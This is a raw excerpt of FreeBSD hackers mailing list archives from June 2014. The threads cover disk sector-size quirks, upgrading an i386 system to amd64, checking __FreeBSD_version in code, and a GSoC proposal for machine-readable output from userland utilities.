MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Cc: freebsd-fs , FreeBSD Hackers , Matthew Ahrens , Nathan Whitehorn X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 20:45:51 -0000 ----- Original Message ----- From: "Warren Block" >> ----- Original Message ----- From: "Nathan Whitehorn" >> >>> >>> I think we basically don't have any lying disks anymore. The ATA code does >>> a very good job of this -- most tell the truth, but in an odd way that gets >>> reported up the stack. ada(4) has a quirks table for the ones that do not. >>> If this is the only concern, then we should just stop telling people to >>> worry about this. >>> >>> My bigger concern is this pool upgrade one -- what if someone puts in a 4K >>> disk in the future? >> >> Thats very much not the case I'm afraid, I try to add quirks for disk as >> they are reported but there's always going to be quite a few which are >> wrong until manufacturers stop making their FW lie :( >> > > Both gpart and diskinfo show the correct values in the stripesize > fields. At least, I've yet to see it be wrong. Maybe that is where ZFS > should be getting the blocksize anyway. > > (Of course, stripesize might only be correct due to the quirks you > mention, in which case... never mind.) It is indeed because of the quirks we've manually entered I'm afraid :( Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 04:18:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F4EC7DF for ; Tue, 3 Jun 2014 04:18:50 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 6F1A92777 for ; Tue, 3 Jun 2014 04:18:50 +0000 (UTC) Received: from jre-mbp.elischer.org (etroy.elischer.org [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s534IWS4084625 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 2 Jun 2014 21:18:36 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <538D4C93.1060808@freebsd.org> Date: Tue, 03 Jun 2014 12:18:27 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Alfred Perlstein , Chris H Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> In-Reply-To: <538C8DDF.3030602@mu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 04:18:50 -0000 On 6/2/14, 10:44 PM, Alfred Perlstein wrote: [...] so I guess we really should have a separate install-tools target along with an INSTALL_TARGET that populates it with cross built tools kind of like the universe target builds everything. but that's way beyond my makefile foo. From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 04:31:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E55CCE42; Tue, 3 Jun 2014 04:31:52 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id CE6A928B2; Tue, 3 Jun 2014 04:31:52 +0000 (UTC) Received: from [10.111.203.142] (c-67-188-134-236.hsd1.ca.comcast.net [67.188.134.236]) by elvis.mu.org (Postfix) with ESMTPSA id B242A1A3C1D; Mon, 2 Jun 2014 21:31:51 -0700 (PDT) References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538D4C93.1060808@freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11D201) From: Alfred Perlstein Subject: Re: Upgrading an i386 machine from amd64. Date: Mon, 2 Jun 2014 21:31:49 -0700 To: Julian Elischer Cc: "freebsd-hackers@freebsd.org" , Jordan Hubbard , Chris H X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 04:31:53 -0000 > On Jun 2, 2014, at 9:18 PM, Julian Elischer wrote: >=20 > On 6/2/14, 10:44 PM, Alfred Perlstein wrote: > [...] > so I guess we really should have a separate install-tools target along wit= h an INSTALL_TARGET that populates it with cross built tools kind of like th= e universe target builds everything. but that's way beyond my makefile foo. >=20 >=20 Yes. That would solve my specific problem.=20 -Alfred= From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 04:36:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C7BD274 for ; Tue, 3 Jun 2014 04:36:06 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 9BCD428EC for ; Tue, 3 Jun 2014 04:36:06 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 54F207CC42 for ; Tue, 3 Jun 2014 04:36:04 +0000 (UTC) Message-ID: <538D50B3.300@freebsd.org> Date: Tue, 03 Jun 2014 00:36:03 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1f1NwEF25pAErNC23xxSjAhSEkhvgHAwr" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 04:36:07 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --1f1NwEF25pAErNC23xxSjAhSEkhvgHAwr Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-03 00:31, Alfred Perlstein wrote: >=20 >=20 >> On Jun 2, 2014, at 9:18 PM, Julian Elischer wrote= : >> >> On 6/2/14, 10:44 PM, Alfred Perlstein wrote: >> [...] >> so I guess we really should have a separate install-tools target along= with an INSTALL_TARGET that populates it with cross built tools kind of = like the universe target builds everything. but that's way beyond my make= file foo. >> >> >=20 > Yes. That would solve my specific problem.=20 >=20 > -Alfred > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 I seem to recall, that when I needed to upgrade an i386 machine to amd64, did the following: mv /boot/kernel /boot/kernel.old tar -xJf kernel.txz -C / rebooted on to the new kernel tar -xJf base.txz --exclude ./etc -C / then used mergemaster to update my /etc I seem to recall having to manually remove some schg flags. I did a fresh buildworld etc after I got the system running amd64, so that restored those flags after. --=20 Allan Jude --1f1NwEF25pAErNC23xxSjAhSEkhvgHAwr Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTjVC2AAoJEJrBFpNRJZKfszEP/A23aXx9Xr2q2ljgWhzcWfCf A1uVhSqzxyZ0fYNN4tMiiqNOa/DdpM9dpoka2B0e41s4AAZUZY/NBNcvgUgQ12Ax Yno8cgWpLcLE4PiHulqsQalvjspMe2xWBkkQNlPQSbvJMXMlcz+tEvxVsX9v5oLU /baaoDYyiWJ9lYD7ZipYHSGy/J174wvMjwBwOJAG/vB30SLnPzWMl6teSryYE87V R7tlX134YZ4+23n2+U502du+1dOfdG7IPjlI9W+ZuGBqjvY2YJ6Jn7nJcvsxoSuA aTfDss1AP8DGHdmsaQQmJ8V/C9fUvbiSr+G7I1tZ14xH0nOTArjE1OVhbiUpr6+G z+2KL/shAvxj5S2hMNPffN7v8+pE7JcmHOyQ2ZvAVbsAzl05/iVCvxuOFzo3v6ns eugxV0NA18kq2P3CLRM8hIe9U6e5VKnH/M6cGYz2++7V74AgBsbD5nKnkW857iG0 6OhTVs3vTm7B3uRdx3fNjPL6UihR8JYSH/frAcd8V1f6g9Xc0e+b0tQwitWqlRpL io645RTw3J9mKy8KxOBr7D6LOmGO66tdKNVPaI2tGcMwjyBCpUehfbwl0buL9Beu B+TY3KepMhFJGVpJzQy0E4u2FlV5WvAckia62NRwytwSeUX1/TVjVvfIY80VMqIu pJdymgZfPu0Yiq8G8iqM =wOli -----END PGP SIGNATURE----- --1f1NwEF25pAErNC23xxSjAhSEkhvgHAwr-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 07:52:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2270FE13; Tue, 3 Jun 2014 07:52:31 +0000 (UTC) Received: from mail-yh0-x22e.google.com (mail-yh0-x22e.google.com [IPv6:2607:f8b0:4002:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C52882958; Tue, 3 Jun 2014 07:52:30 +0000 (UTC) Received: by mail-yh0-f46.google.com with SMTP id 29so4774902yhl.19 for ; Tue, 03 Jun 2014 00:52:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=GQFlaJr5ndWFsN4MWlXQcaStuLxeyF7P5rLdoL9POfc=; b=UEtiHpvm4dJY2P9pwpKEK7shc/namzRXPJ6Hi9wpHWimvMMpaxYmjKBFPqI3tCGyRC lfDF6mRuVM5vacXRLcliuCM6/wxnKIaxtIoipI8SozBAE5giVo712O6nae9PHBiTsTHE g9rJeHrb4vH34kotQR/wZpUsHP8sVh/DvWsfuKPDHbmZQk7n9Z7RjDV9jV0VrRX/PPUM aYNYDUs8T3P5PLE6ae7Omj0xdQ41fIMmyV19SI7gXuzYdZ8OmTHLn3CM21xAw19TgV5o 9P7OpHvq7xf5ABOJSABjxHF2D4Xdj9A4v2unifZtxlV8Tjkary2oglzKXzVt3nPSTACA +hnA== MIME-Version: 1.0 X-Received: by 10.236.180.169 with SMTP id j29mr60038290yhm.47.1401781949864; Tue, 03 Jun 2014 00:52:29 -0700 (PDT) Received: by 10.170.54.8 with HTTP; Tue, 3 Jun 2014 00:52:29 -0700 (PDT) In-Reply-To: <538D50B3.300@freebsd.org> References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> <538D50B3.300@freebsd.org> Date: Tue, 3 Jun 2014 08:52:29 +0100 Message-ID: Subject: Re: Upgrading an i386 machine from amd64. From: krad To: Allan Jude X-Mailman-Approved-At: Tue, 03 Jun 2014 11:27:03 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 07:52:31 -0000 sorry im coming in a bit late here but i have done similar in the past. What i did was build the binaries on another computer and then do an install world and kernel with DESTDIR set to say /build/. I then rsynced that dir from the build server to the target system. Its better if you can do this via a liveusb image if you can but it should be ok if you cant. Just make sure rsync is built statically to minimize problems. Once the binaries (and src and obj) were copied over, i would then reboot the system to single user mode. There I would rerun the installworld and kernel again to to make sure everything was done correctly. YOu can then clean up with delete-old etc. Finally reinstall all your ports. On 3 June 2014 05:36, Allan Jude wrote: > On 2014-06-03 00:31, Alfred Perlstein wrote: > > > > > >> On Jun 2, 2014, at 9:18 PM, Julian Elischer wrote: > >> > >> On 6/2/14, 10:44 PM, Alfred Perlstein wrote: > >> [...] > >> so I guess we really should have a separate install-tools target along > with an INSTALL_TARGET that populates it with cross built tools kind of > like the universe target builds everything. but that's way beyond my > makefile foo. > >> > >> > > > > Yes. That would solve my specific problem. > > > > -Alfred > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > > > I seem to recall, that when I needed to upgrade an i386 machine to > amd64, did the following: > > mv /boot/kernel /boot/kernel.old > tar -xJf kernel.txz -C / > > rebooted on to the new kernel > > tar -xJf base.txz --exclude ./etc -C / > > then used mergemaster to update my /etc > > I seem to recall having to manually remove some schg flags. I did a > fresh buildworld etc after I got the system running amd64, so that > restored those flags after. > > -- > Allan Jude > > From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 15:42:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E8182472 for ; Tue, 3 Jun 2014 15:42:04 +0000 (UTC) Received: from stargate.chelsio.com (99-65-72-228.uvs.sntcca.sbcglobal.net [99.65.72.228]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B540028DA for ; Tue, 3 Jun 2014 15:42:04 +0000 (UTC) Received: from nice.asicdesigners.com (nice.asicdesigners.com [10.192.160.7]) by stargate.chelsio.com (8.13.8/8.13.8) with ESMTP id s53Fg2eM003916 for ; Tue, 3 Jun 2014 08:42:02 -0700 Received: from NICE.asicdesigners.com ([fe80::51b2:ba95:9d72:babc]) by nice.asicdesigners.com ([fe80::51b2:ba95:9d72:babc%15]) with mapi id 14.02.0247.003; Tue, 3 Jun 2014 08:42:03 -0700 From: Sreenivasa Honnur To: "freebsd-hackers@freebsd.org" Subject: How to Check kernel version in code? Thread-Topic: How to Check kernel version in code? Thread-Index: AQHPf0JdhGNhAT0mD0iB8Pr1dYk+Uw== Date: Tue, 3 Jun 2014 15:42:02 +0000 Message-ID: References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> <538D50B3.300@freebsd.org> In-Reply-To: <538D50B3.300@freebsd.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-cr-puzzleid: {17C0F334-FD19-4ED4-8876-528EBE88E88D} x-cr-hashedpuzzle: AUvF Ak+k BP6n CTT6 C2pZ D7fj EEJ1 Egno FEQW FJPq GQ2V Gr2Z IOwM IRkN JQSP Ju5g; 1; ZgByAGUAZQBiAHMAZAAtAGgAYQBjAGsAZQByAHMAQABmAHIAZQBlAGIAcwBkAC4AbwByAGcA; Sosha1_v1; 7; {17C0F334-FD19-4ED4-8876-528EBE88E88D}; cwBoAG8AbgBuAHUAcgBAAGMAaABlAGwAcwBpAG8ALgBjAG8AbQA=; Tue, 03 Jun 2014 15:41:57 GMT; SABvAHcAIAB0AG8AIABDAGgAZQBjAGsAIABrAGUAcgBuAGUAbAAgAHYAZQByAHMAaQBvAG4AIABpAG4AIABjAG8AZABlAD8A x-originating-ip: [10.193.190.128] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 15:42:05 -0000 I want to enable some code based on FBSD kernel versions like below: #ifdef FreeBSD_VERSION_10 #endif #ifdef FreeBSD_VERSION_9.2 #endif How can I do achieve this? Thanks Sreenivas From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 15:44:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 93F1F592 for ; Tue, 3 Jun 2014 15:44:09 +0000 (UTC) Received: from dmz-mailsec-scanner-4.mit.edu (dmz-mailsec-scanner-4.mit.edu [18.9.25.15]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 19BB92903 for ; Tue, 3 Jun 2014 15:44:08 +0000 (UTC) X-AuditID: 1209190f-f790b6d000000c38-9e-538ded40a668 Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-4.mit.edu (Symantec Messaging Gateway) with SMTP id 07.D0.03128.04DED835; Tue, 3 Jun 2014 11:44:00 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id s53FhxJ5015194; Tue, 3 Jun 2014 11:44:00 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s53FhviD006821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 3 Jun 2014 11:43:59 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s53FhvuC020282; Tue, 3 Jun 2014 11:43:57 -0400 (EDT) Date: Tue, 3 Jun 2014 11:43:57 -0400 (EDT) From: Benjamin Kaduk X-X-Sender: kaduk@multics.mit.edu To: Sreenivasa Honnur Subject: Re: How to Check kernel version in code? In-Reply-To: Message-ID: References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> <538C8DDF.3030602@mu.org> <538D4C93.1060808@freebsd.org> <538D50B3.300@freebsd.org> User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFvrFIsWRmVeSWpSXmKPExsUixG6nouvwtjfY4Nl+A4vtm/8xWnzbNY/R gcnj6Y45rB4zPs1nCWCK4rJJSc3JLEst0rdL4Mq4c+sqU8FH5oonVy+zNzD2MXcxcnJICJhI nFn6gRXCFpO4cG89WxcjF4eQwGwmie0PZ7FAOBsYJZbMXskK4Rxkkth95D0TSIuQQL3E/keX GUFsFgEtiQvv3rOA2GwCahKP9zZDjVWU2HxqEtg6EQFtieb5C8DizAL2Ev/a/oPVCwsYStx4 8IcNxOYU8JFYMbEFbD6vgKPE2tdzmCAWb2GVWPVyLTtIQlRAR2L1/iksEEWCEidnPmGBGGop ce7PdbYJjEKzkKRmIUktYGRaxSibklulm5uYmVOcmqxbnJyYl5dapGuil5tZopeaUrqJERTE nJL8Oxi/HVQ6xCjAwajEwzvhZm+wEGtiWXFl7iFGSQ4mJVHeApAQX1J+SmVGYnFGfFFpTmrx IUYJDmYlEd5/64FyvCmJlVWpRfkwKWkOFiVx3rfWVsFCAumJJanZqakFqUUwWRkODiUJXvE3 QI2CRanpqRVpmTklCGkmDk6Q4TxAw9lAaniLCxJzizPTIfKnGBWlxHlvgSQEQBIZpXlwvbAk 84pRHOgVYV4+kCoeYIKC634FNJgJaPDmIrDBJYkIKakGRqOG0G/FagvOeL3zr/koEfnQ71ja 4m8Mv7seT9nl9/jl5abjJvN/H9YtP7xd+Y7WrX823oWbojamdayY6Xzm+NHpe5pdInp7VDZ7 lGyYfqvE+du3byvdzvxfOOG4zY8CGSXNVS/C2eWkr/UsY8moSIhWefumpEmqN1KTMypX1yRu m6LvNP35k5RYijMSDbWYi4oTAaAmDrwNAwAA Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 15:44:09 -0000 On Tue, 3 Jun 2014, Sreenivasa Honnur wrote: > I want to enable some code based on FBSD kernel versions like below: > > #ifdef FreeBSD_VERSION_10 > > #endif > > #ifdef FreeBSD_VERSION_9.2 > > #endif > > > How can I do achieve this? __FreeBSD_version is defined in sys/param.h, and is incremented for major version changes as well as other events of note. Increments are tabulated at http://www.freebsd.org/doc/en/books/porters-handbook/freebsd-versions.html -Ben Kaduk From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 3 16:04:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EA394CA1 for ; Tue, 3 Jun 2014 16:04:42 +0000 (UTC) Received: from mx1.mail.bg (mx1.mail.bg [IPv6:2001:67c:16b8:1::2:17]) by mx1.freebsd.org (Postfix) with ESMTP id 853DB2B26 for ; Tue, 3 Jun 2014 16:04:42 +0000 (UTC) Received: from [10.1.1.159] (unknown [95.87.254.225]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mx1.mail.bg (Postfix) with ESMTPSA id 4445C6000A2D; Tue, 3 Jun 2014 19:04:40 +0300 (EEST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=mail.bg; s=default; t=1401811480; bh=ypZnzhyBRlavfdj9jBKilpnY31hN98TLl5TGBBmo+QM=; h=Content-Type:Mime-Version:Subject:From:Date:Cc: Content-Transfer-Encoding:Message-Id:References:To; b=ZQbHlohyRd1wULQ0JoF7mWVKiP+XlW5aMn6YYAH7t8OP+FwmwFeGUZdrRJmO47ClD 24aVj89ii5MElYDhD6HrUEfLAgbFHH1V7/PfmI1M6+kw/nlRXozc0g6l4zCjLyByme NJw95pdSJumDLMzgtCWSlrPeRjx4qR/mV3SRgKS8= Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Apple Message framework v1283) Subject: Re: [GSoC] Machine readable output from userland utilities From: Zaro Korchev Date: Tue, 3 Jun 2014 19:04:33 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: <4C29B30D-6833-4F0E-B071-C8EA215C0A17@mail.bg> References: <0FCB749A-67F7-4C2F-AAC1-32D0BD67B502@theravensnest.org> To: Eitan Adler , Alfred Perlstein , David Chisnall , Jonathan Anderson X-Mailer: Apple Mail (2.1283) X-Mailman-Approved-At: Tue, 03 Jun 2014 16:15:23 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jun 2014 16:04:43 -0000 Hi everybody I see there are several different ideas about how the output format = should be specified. I first started using an option named -O with the idea that this can be = changed when the best variant is decided. There is the idea with the environment variable that we discussed with = Eitan: On 29 May 2014 at 18:31, Eitan Adler wrote : > On 29 May 2014 05:12, Zaro Korchev wrote: >> I thought about whether it is better to use an option or environment = variable. I did it with option because it is easier to switch an option = on/off. It appears that the flag -O is free in almost all tools. I have = no problem making the use an environment variable. >=20 > My concern is that future standards may require this option (or at > least, would be precluded from using it). In addition, it may > conflict with non-base utilities, such as coreutils ones. ---- There is the pipelining idea of Jonathan: On 23 May 2014 at 16:27, Jonathan Anderson wrote : > Imagine: >=20 > $ ifconfig | filterBy "ether" " 3c:07:.*" | sortBy "ether" | output = my_ifconfig.format # or "json" or "xml" or ... >=20 > A pipeline of little tools, each doing one thing well: how much more = unix can you get? Currently, every command-line tool has to do two or = three things: > 1. its primary job, > 2. output some arbitrary text format (that you're never allowed to = change because other tools scrape it) and > 3. (optionally) parse arbitrary text formats generated by users or = some other tool. >=20 > Task 2 is annoying: in order to usefully query command-line tools, I = have to write a parser. The tool has binary data, I want binary data, = but we have to go through a dump/parse dance in order for me to get the = data. This is the approach (again, from Plan 9) that brings you Linux = sysfs. Perhaps David would now like to comment on his cross-platform = "how much battery do I have" experience. :) >=20 > Task 3 isn't just annoying, however, it's risky. If every tool = implements its own string protocol parsing, we greatly increase the risk = of unnoticed bugs. Better to 